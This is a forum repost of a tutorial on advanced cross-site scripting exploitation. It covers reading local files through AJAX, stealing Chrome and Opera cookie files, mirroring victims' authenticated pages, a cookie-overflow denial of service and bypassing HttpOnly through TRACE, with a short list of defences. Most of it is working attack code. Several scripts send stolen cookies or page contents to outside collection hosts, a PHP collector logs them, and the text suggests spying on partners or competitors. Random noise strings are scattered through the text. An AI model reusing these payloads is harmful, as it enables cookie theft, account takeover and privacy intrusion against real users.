中国网络渗透测试联盟

标题: XSS的高级利用部分总结 -蠕虫 [打印本页]

---

作者: admin    时间: 2012-9-13 17:13
标题: XSS的高级利用部分总结 -蠕虫
XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
1 U2 T* l4 A/ @" f
" Q( x, D4 ]; {# KXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
4 J0 E* J  H. C转帖请保留版权
% Q' p% ?4 w7 O, r& i9 h
7 Z+ u- H. m  M" [

$ h& \. Y& I( R& K1 x5 }( m3 d-------------------------------------------前言---------------------------------------------------------
% z& H) D, ]% J

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
' Q6 {( d& {8 j) Yhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
. x& ^6 c; D& s; o- rhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
- p: p$ F6 j: g5 q8 w5 \http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
' B5 a: K# p3 X' f+ T
, }0 \0 i6 \2 {


( }% G6 }' k: q) F6 r9 o) n' ?" ^如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

0 w9 r4 i( y8 |- V4 W希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
/ `7 y% Q5 j. J3 i& e
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
, d$ N7 p9 }! l, a/ v; s
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
5 w7 N5 a1 f* b
9 F. A2 m# e9 q1 HQQ ZONE,校内网XSS     感染过万QQ ZONE.

( q1 m! S2 A1 N$ [3 c- q, ]5 `OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
: u- J) r: m, w; X% X' h7 ~% h% ~
# o9 G% e# _5 O. R( k- v% H  V1 z/ T* Z..........
复制代码------------------------------------------介绍-------------------------------------------------------------

; ^+ Q& W9 G6 ]; @( `3 |什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
- [" X6 T) O( ~1 H' M+ d: y. ?* B
1 m+ w7 l: e1 C2 f
9 t/ p; F- C# }
8 N8 @5 V' R! G9 E9 c. x, f2 N跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

% G! \' c" @3 c! ~4 ?

# e( I5 L9 P" p5 ?. E6 t; D, T4 G如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

# J( ?; O6 c# |6 m' y1 ~& T2 G; G! H1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

& l/ M* ~+ w! _% V; ]& E4        XSS漏洞在输出和输入两个方面怎么才能避免.


: C) w4 x& Q) y. b! x: ?- H
3 ]7 G, C  p1 L3 M" }------------------------------------------研究正题----------------------------------------------------------
4 I5 y7 V2 u3 Z
- J# ]7 L% n- v/ }
  M+ p) t& h) M8 g$ N0 N9 m# F
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
& Z/ E: c& O6 b" h0 F9 i8 G复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
6 o9 U& n3 b& A2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
: v, \0 }7 D/ U1 @) S3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
; N' h# N7 L( p# {8 ^: u# j  a4:Http-only可以采用作为COOKIES保护方式之一.
4 z+ m, C" B7 H: ?- Y
# C' w: }9 k3 @
, W( U) u* Q9 V3 Q7 i% c8 b: U$ `


% l0 _: V  g7 j* V  F(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
! o) ]0 w+ X! H$ B- }
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
5 K  ^, ]0 a5 x+ R7 k! R* z9 J
$ ]" j2 l* Z  D- e4 `2 S0 G4 v( n
- {  r( Y" s. s" L! Q5 \, d2 x
) A4 x5 n2 a$ R! P    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。


2 O( H- F3 L+ y; c8 V. S1 \: m0 I: F
; f% P6 N0 `. K    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。



- j/ W0 z) h4 A9 @    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}


# T, s" m% O+ B0 C1 O+ v' u0 ^
    function ajax_obj(){
6 q, N+ L, ^5 f; w9 T% d% \! v( p9 f
    var request = false;

    if(window.XMLHttpRequest) {
$ X; R/ x, f) h! t8 O" i
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

2 R) [, j+ _! G

2 t9 X9 l( [* s    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; ]1 j& c2 z* O
    for(var i=0; i<versions.length; i++) {

; K7 ^% y2 d  s/ d    try {
9 q  ~4 Y$ e& M& f$ J+ a9 X7 O  |
    request = new ActiveXObject(versions);
0 E5 _3 ]! [3 f
    } catch(e) {}

    }
3 C( g( p! w1 {1 e/ Y4 y4 f4 N
    }

! T: P* }0 ^6 S: f    return request;
* o: O# h4 s' R8 s# g' ]
    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
, V. M9 [. |7 j1 s/ h- D( Y! b2 U. t
' g! h  T8 i1 B5 {6 F% Y4 n8 t+ w: l# s    return _x.responseText;

' z/ e! [: C0 q; `2 g0 W: ~    }

3 s8 X' |" Q# Y3 t8 s; b' B/ x

    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
' M1 {2 j$ M* X- B3 Q# m% z- A
    alert(txt);

& o1 s: k8 F" Q: J$ v1 ~+ Y' Q

2 }, A8 O+ \+ N6 O8 Q8 z    </script>
1 g' ?0 b! W1 u0 @# l# i复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
5 h8 A& j) ?9 F, P; P- L6 ?' P( g
" G* a) s  \; h. d! T    function $(x){return document.getElementById(x)}
' d  [% }& _( \9 U: m/ d1 W

8 L+ x/ f4 Q8 E2 W4 l  \
    function ajax_obj(){

+ L, C0 j! ~' l    var request = false;
. S. p+ U& K) y; B, i& N; d0 i  S
/ P$ m" ^# E+ m- j, P/ c1 v& {    if(window.XMLHttpRequest) {

/ R$ h7 G  ?2 e. Y    request = new XMLHttpRequest();
! Z* \3 y/ b0 W
    } else if(window.ActiveXObject) {

+ l* R/ O1 a5 J& d; S    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
$ j' u, H9 l+ `" M3 T
3 B& F- |$ k: A$ @
  T! p+ Z& k* L8 V- w0 B- h# V  `
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
1 ]7 A" Q( U$ }6 F0 e/ w
    for(var i=0; i<versions.length; i++) {
8 r- U7 O# z0 ~6 A" d
    try {
$ U2 a' b- Y( f" {
) H8 U8 C, z+ ~* E2 t% Q. ]    request = new ActiveXObject(versions);
; D) V/ z! i; M5 v# Z
/ s/ [8 |# P! O    } catch(e) {}

    }
; E# o$ |' m& i
) n7 x5 l6 _) Y7 l/ p2 [9 s    }

    return request;

1 l2 L, ~" P. R8 i7 t+ ]    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

& `1 {3 v: ?; g/ }    _x.open(_m,action,false);
2 T% V5 h7 e: a) g: c# i
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

' y8 j* l5 h- ~- U) L    _x.send(argv);
& I7 s3 t7 |# i: `# b, Z: d' e
    return _x.responseText;

    }


: I5 Y6 u- s7 ?
! {! k6 I. g! a    var txt=_7or3("GET","1/11.txt",null);
6 [! ~1 P* j( S4 |9 z1 ~5 M
) `* R7 a8 x" Z) g& y; A    alert(txt);
. M  g6 B( D8 r; v* F

+ ?$ F4 s. u  U1 g
1 g2 |) `, W2 x6 z$ e% k    </script>
. h% i' ?( r0 k+ |& c1 j/ @  G复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
* C+ d0 Y! C. i4 l1 {$ \9 q
# z; J0 s' L( D& f1 P
" g. X2 l% A. q, J
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"


; N7 c% \) A6 w. U
<?   

! V; ?8 j9 `* T4 x% w/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   
& P% `& w1 C% Y. }6 B- c3 U
     author voidloafer@gmail.com 2009-4-22   
# X+ R* H# D% a; A& k3 C- @  z2 n8 l
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

4 U) G& e) M+ ~0 n8 \# a*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
" m; V3 h. g% A6 Z1 O
/*  

1 f0 z& Y: B* _* E2 [     set header, so just download html file,and open it at local.  
' H5 A% s' I6 F/ `. {; @$ W5 a
! s$ F/ G0 q2 y) [! M* o8 |8 Q& I*/  

?>   
) ?2 s3 Y% V$ t
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
5 z8 v/ ~$ }! o0 A* \7 G
     <input id="input" name="cookie" value="" type="hidden">   
2 j9 M/ N  K! W* `( `0 V! J) c' ^
' Z5 u2 u2 Z+ h; r. F, H& G5 S</form>   
5 I1 j; ?& l% n# h: A2 K* o
<script>   
8 m* J' ?# O/ S! k2 W1 y1 n: h1 a) K
8 y/ _; }3 K( y! f  ?& Ofunction doMyAjax(user)   
% B# s: M* p# T4 v6 ^
{   
- \. {# r- b' ~  M: E  i
6 {' d: z1 o! w! s$ d4 Tvar time = Math.random();   
* s$ z8 f+ e" U; z: Y' y6 Y
2 S9 L5 p( s; j, l% w( m4 ^$ O9 S/*  
' h; r$ \; f4 H% k1 @8 f* [
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
/ X5 n7 v- D) |/ \) ~5 [+ S
and so on...  

& ]  ]- k: v, F*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

/ {. \, ~# Z' e9 VstartRequest(strPer);   
/ m* M4 h4 z: V( C  f
* V+ F' d7 P9 ^- w: i2 U# ~

9 q; c# F; _' W; x}   

3 `3 ?& z$ ~6 \) C$ _# M7 u   
7 }& x2 q! D( p; j$ B
9 ]' W6 A, u( _' X, w. J) Mfunction Enshellcode(txt)   
: _* e% R! ]8 e
{   
! T: I, k/ b6 u$ p. d2 u3 i: u
var url=new String(txt);   
2 K) P6 o" u6 K! N) u
: H( @2 l% O$ J7 Bvar i=0,l=0,k=0,curl="";   

8 ]: R& W+ ^0 Q( S5 }7 o# ]l= url.length;   

for(;i<l;i++){   
0 X$ D: F7 B4 m" f
k=url.charCodeAt(i);   
( |. O* k% k# v0 w$ O' ~
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
9 E' v- d. c/ P+ ~% p9 k* W
6 d* M$ q; t0 {: }5 i9 ^$ Tif (l%2){curl+="00";}else{curl+="0000";}   
! b. n3 Q5 P# G5 N
0 v% Z$ D' o+ ~curl=curl.replace(/(..)(..)/g,"%u$2$1");   
! W' z1 y; O. T: R# Y- |! L/ u2 ?
return curl;   
5 z' S! C. [7 ^6 c6 z. Q; [
}   

   
  O6 q) A/ i' A6 j
# D+ W8 n9 ~4 N9 n. ^- u   

var xmlHttp;   

function createXMLHttp(){   

     if(window.XMLHttpRequest){   

# P) f, ?9 E' l! W) vxmlHttp = new XMLHttpRequest();           
# U3 S* _1 H1 w) K$ Y  S0 U. ?
1 y6 {% J, ~2 w     }   
, X# Q3 ?/ F/ y/ w$ J' q/ Y
* Y1 H' V: b( N" {/ c  X! @     else if(window.ActiveXObject){   
' x  s; D2 [$ ^4 f
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
2 Q% B, A& P/ v3 @8 \
}   
. @! P* V! U3 ^, A" K1 r
   
7 B% {  P, X- N, [
% t7 T  X4 \8 A+ o8 N$ v  ]  ?function startRequest(doUrl){   
% ]- B/ }( s" v: y1 n0 _
   

! S9 I7 S% T# A) L% }, [1 p/ Z     createXMLHttp();   
$ j/ J  N7 L/ n; L9 ?' T
* Q! u( s* @4 @4 Y
1 e$ q) o/ G+ w8 O
     xmlHttp.onreadystatechange = handleStateChange;   
+ ?& E$ `& a6 \: n3 i& b
7 N4 d; M# a: ]
' Q% Y" e5 r1 X9 J7 a
     xmlHttp.open("GET", doUrl, true);   



4 Q- k! I0 _! U" m1 r& _     xmlHttp.send(null);   
9 C; j8 G4 {: ]5 O1 J! c
' I1 w( W5 k% t; @  ?

2 ~7 r' E$ R! S0 \3 ]% o

2 ~  S, \9 h; s4 t* `( ]& m( J}   
! h/ Z/ G, }" u
   
$ k% t7 v1 ^! G8 N7 g2 T- m7 I
$ Q* t( C4 d- \  s5 kfunction handleStateChange(){   
% T: z2 @+ A: r
     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   
% _- T- L5 F3 D, a8 @& N2 `4 R
3 q# d2 n; g1 u9 W+ k. _$ [5 h0 L     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
) P; w: e7 I# [1 s! i
        
. `- n' F: q- {" q# p4 T; o- u
' b  B, r9 s6 @0 N) {     }   
, j. |2 V/ L# [+ C" N
. x  P" b* r$ i! u' ?}   
; I5 g, T- y3 W! Z: {5 R
3 |  x2 {4 D4 x) g9 N   
8 c1 ^& n8 ^& D/ a
) z3 Z7 t% w' l5 D7 Z7 `   

function framekxlzxPost(text)   
: D/ k/ g( {+ U( B, l6 e& c
6 ~7 w; C1 W8 o, o8 y{   
/ D& R3 T3 S# v
     document.getElementById("input").value = Enshellcode(text);   
8 s) P& M. {* i2 B9 E/ `
  c- l. ]% Z. E' Y$ G+ {     document.getElementById("form").submit();   

: I# C; D; z1 C5 ?6 x( V+ p9 C}   
9 n2 i4 c4 w, |
6 s$ f# b8 F! {" Y) Z4 k8 |   

. x5 \* \: s/ a. o% L& {: L0 TdoMyAjax("administrator");   
9 R& ~" B* y( P; f/ P
   

</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
* u' ]6 L0 q+ g  @3 ?: [
: R3 J( D, t0 E: l" C* Qvar xmlHttp;  

, E" p# O" p" R# Nfunction createXMLHttp(){  
4 O# ?: f# A# g& ~
     if(window.XMLHttpRequest){  

# \8 G' C  w* r% G         xmlHttp = new XMLHttpRequest();         
0 u7 P5 g. s& v2 a6 O
     }  

     else if(window.ActiveXObject){  

5 l, F" W; ]- Q5 n+ W1 L2 E         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

, {& U: z* I7 H: g     }  
9 S: G+ ]& b. X7 o  d/ j# @7 q
}  

, Z( ?3 K/ w! X- m9 f/ I( z9 c  l   

: R; V8 _, A. K3 {2 ^! tfunction startRequest(doUrl){  
; B9 |1 K/ A- X( }- `1 C0 K7 U( m- {
3 x; C" K8 c) S5 ]: R- o3 F1 l/ d6 k           
  A& e/ j% q! j" @8 p% c" t8 c* `
! w( r9 N+ `% W/ n/ \+ v+ G8 K2 Y     createXMLHttp();  

      
7 o5 i9 q& m1 w& d% a4 a( E# u
1 \, U4 B7 O5 r  n# C$ d     xmlHttp.onreadystatechange = handleStateChange;  
- h% E& g$ z1 ~
      

     xmlHttp.open("GET", doUrl, true);  

      

) B$ @7 w( A- }6 ?- u" y/ O7 M0 [$ }; [     xmlHttp.send(null);  

      

      
! `! m$ {7 t$ A- q! o
}   
$ b1 x) j- \- g4 _# f2 S
3 s( E" y9 s. }# |& _7 x   
* _* \: [- w, n. {5 u$ t8 c' ]0 X
function handleStateChange(){  

* e. ~* c% U! i7 J6 k' }     if (xmlHttp.readyState == 4 ){  
$ P( o; n0 Z9 ^: [" q
! r" W+ @* ~: j' V1 B             var strResponse = "";  

* i) q2 |2 G" h3 U& d% a5 M: J* H             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

3 @4 K% K+ @; V7 m' |% F) p               
7 S3 F: g, N9 k/ E( |
     }  
$ W% E) p# ?$ o0 j% }
  Q9 E0 C5 s. m: k, w}  

   
+ \4 n5 P8 e4 R2 v& `
/ q# z8 H2 H+ L2 q* Vfunction doMyAjax(user,file)  
" H8 E# ]4 h8 w, n4 j
9 U  ], K; z+ O9 c- M{  

         var time = Math.random();  

9 |* c9 Q$ t5 t& L4 j) N5 L. [           
& u0 S) P$ g* S' J; @" C6 l
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
8 y! \- r% G1 ]4 F. [! e! {+ r% o# Q
           
9 A! Z2 t. }( r; t1 B' M
         startRequest(strPer);  

" J( C0 D  o# e2 E: ^8 r& i4 P+ a( r      
  y5 I; n& S5 @5 ?1 N- M( Z
}  
( O& ~: w1 d; T1 c: |( _/ h
5 Y( y7 |5 d+ y! \1 y   

function framekxlzxPost(text)  
7 h7 g* H4 g* l2 V( {
{  
; c9 K! {" l. \. `, I
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

6 H, X) e( k( ]! p" \2 B% _! ^! S8 O     alert(/ok/);  

}  

, P6 \0 E0 u: `) i( k   

! R+ ]/ s, `* Z! q( ^doMyAjax('administrator','administrator@alibaba[1].txt');  
8 Q% ~) l+ x) c& g# N
& `! N$ @% J$ c- P5 W6 E' r   
1 x. U9 \4 F( t: e0 z& V& J
" K/ Q8 o9 n' J& z7 N9 P/ ~</script>

# B4 n. [2 E' d9 ~% W
" k0 l" ~* d' Q5 g0 n+ ]4 C

6 B8 t' h4 h" |: x1 T$ O
a.php
5 N& ^' x. m4 P/ V: g8 h. t


5 K9 C) Y1 [6 j# H9 N2 Q<?php      

! O1 S6 ^, I8 l" R   

. b8 N/ [3 r* G; f$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
* \: C: h! U6 {1 P
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
5 N; `& V0 R( x
fwrite($fp,$_GET["cookie"]);      

fclose($fp);   

" T0 S& X: t2 E+ ]?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

* c8 t( G" Z) O1 M6 m' K& b& f& }或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
, h5 E6 T" B( u
' @/ @% @3 {" B& I: y7 j1 V代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
/ X4 I& x1 n0 j: a$ z. c- r" r
8 W  X" Y+ F, c! r  A' Q$ H) g) Y) E//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
6 g3 u# N; l8 E  i4 T' s
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
; e& \7 {+ i6 B& Q2 d) ^
$ N! i# w: E# |5 f5 Rfunction getURL(s) {

  V* O7 @4 C5 t. o+ ?var image = new Image();

  u7 C3 M/ v3 B. z. d2 K! \image.style.width = 0;
+ y% b' O& c. `3 ~0 r8 ~: T* r% [, e
image.style.height = 0;
1 n4 y) w; S, x5 N
* L0 ^# c1 G/ _6 L, limage.src = s;

}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
% h; y: m, ~1 k3 D5 i这里引用大风的一段简单代码:<script language="javascript">
' T& d( Q) g6 V8 S+ P5 O: U  X
var metastr = "AAAAAAAAAA"; // 10 A
$ R+ R" O  M' C
& M( D) I6 S9 Hvar str = "";
9 S2 |: a8 Q: V' ^4 |! E
7 s; Q3 w7 r+ i( Lwhile (str.length < 4000){
  B& `: k: ^, x( d" h6 C4 T) A
7 [& t) h& Q$ Z  H/ s    str += metastr;

6 _  r5 A) D5 Q% [8 h}
: B, o' J& M- i5 L
# ~+ G- A3 k' J

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

1 O, q9 u6 y' B7 Y6 e</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
3 J% M( K# t/ T* [复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

/ @& o  |  ]2 m* L9 J* _8 D假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
0 I2 f$ t1 A$ U攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

( `3 @) n1 Q5 V! X4 c
$ T4 {" V8 Q9 ~8 r0 r% Y9 k

2 P( l3 d' |4 e7 }" O' ]
- P6 N8 x$ U. F) ~5 b/ m4 B8 R% M4 x7 [
(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
% g& c* P: q) q! q以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
1 Y' {8 e% _: c! G0 x& i& ~" R
<!--
& Z! l7 Y. X( i& A# i6 T! m& X1 `
function normalCookie() {
) V2 B1 `. ]! J  \5 y* q+ r
document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

}

6 f9 C$ C4 g! X5 X: K4 {

4 K' J$ j' j/ P0 L  Y" [" z- \4 u# M
% `7 k- t; y% j/ F5 y' d" ^8 s
" X+ l+ P2 j- w/ K/ M& r; b& Wfunction httpOnlyCookie() {
3 T+ f, L! E7 C6 {* D  e& l
! e8 p& j5 I8 udocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
2 P; \4 G( l4 H9 v: }6 \  }
alert(document.cookie);}


/ [7 ^8 o3 |# Z! r* \
) i6 u: b4 ]/ g: r//-->

, E) N5 m2 u" V" i. _8 Y3 ~. J6 m. l" g</script>

6 ], w, ?9 r" A0 Q& H* D2 k

' d! [- P, e( y0 B1 P/ A) Z<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
9 \$ Q6 W/ P& y. Z3 y; H
) Z, I* s) z8 r- }/ e

+ `4 r7 s' M5 o% W# m! x% Evar request = false;

4 G- u( T9 R9 |4 T, h6 @: t2 @0 A        if(window.XMLHttpRequest) {
! m9 d! b3 C6 p2 G* X6 E
3 d4 Z) `6 a, j( [& _            request = new XMLHttpRequest();

& s7 x' s$ ^  j% F8 `            if(request.overrideMimeType) {
- ]4 E, x3 r1 u* @- p7 B3 s" e! J" N
+ Y3 H9 G# j9 ~$ }( E( X+ ~                request.overrideMimeType('text/xml');

8 E: j& `0 T! P/ y& K            }

- u( Y1 A: o$ g" R3 K3 R        } else if(window.ActiveXObject) {
) V& k3 o# f/ |, I& V; S
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

4 L5 P) _# B$ m, O- v            for(var i=0; i<versions.length; i++) {
' q$ N) |+ k- K
                try {
# t. B: i4 s( m! l6 B
* |) y8 O/ Z9 [: Z0 M                    request = new ActiveXObject(versions);
9 e5 ^+ i- k& w. L: u0 _
& D/ h/ _6 V# J, E- I                } catch(e) {}
" O, K, j2 U1 x( @. L7 l+ H
            }
  Y$ a, k; u# Z$ F5 g" s$ J" k0 l
        }

5 {: D: U7 n- p* GxmlHttp=request;
7 T) P0 L1 G( |
xmlHttp.open("TRACE","http://www.vul.com",false);

' t8 Y% x( s3 ?8 r* c' w  BxmlHttp.send(null);
) c+ m  [+ e4 c8 j
0 M3 s/ D1 n: s2 d) {xmlDoc=xmlHttp.responseText;

alert(xmlDoc);
& K% ]# S' ?& ~; O7 _
! z! w! w5 R! b. c; n- Y</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
. X/ k# b+ i. l$ J. Q
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
  G: M1 N; O0 T; ]1 O& z7 |- A
! u3 @; v* R& B" \$ H) S7 lXmlHttp.open("GET","http://www.google.com",false);
  V2 W+ F9 N' Y0 p
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
. j6 [+ z7 p) a3 U
& K9 P% ~# ~1 n+ \XmlHttp.send(null);
0 H- ^& V+ L4 }8 P( }; q
var resource=xmlHttp.responseText

3 j. `: L& R& G9 f/ Y0 |% |resource.search(/cookies/);

7 `/ Y" z% _# ]......................
! R* y/ e8 M$ W  v% A6 ?: ]" R, {
2 ~9 k3 ?8 n5 h, E) o</script>





6 X- t0 g% A" c. [如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
6 v3 x9 E4 U' Y5 g3 E0 @4 O. Q. B* D
* C' v- o2 [1 X, U" g- e# X[code]
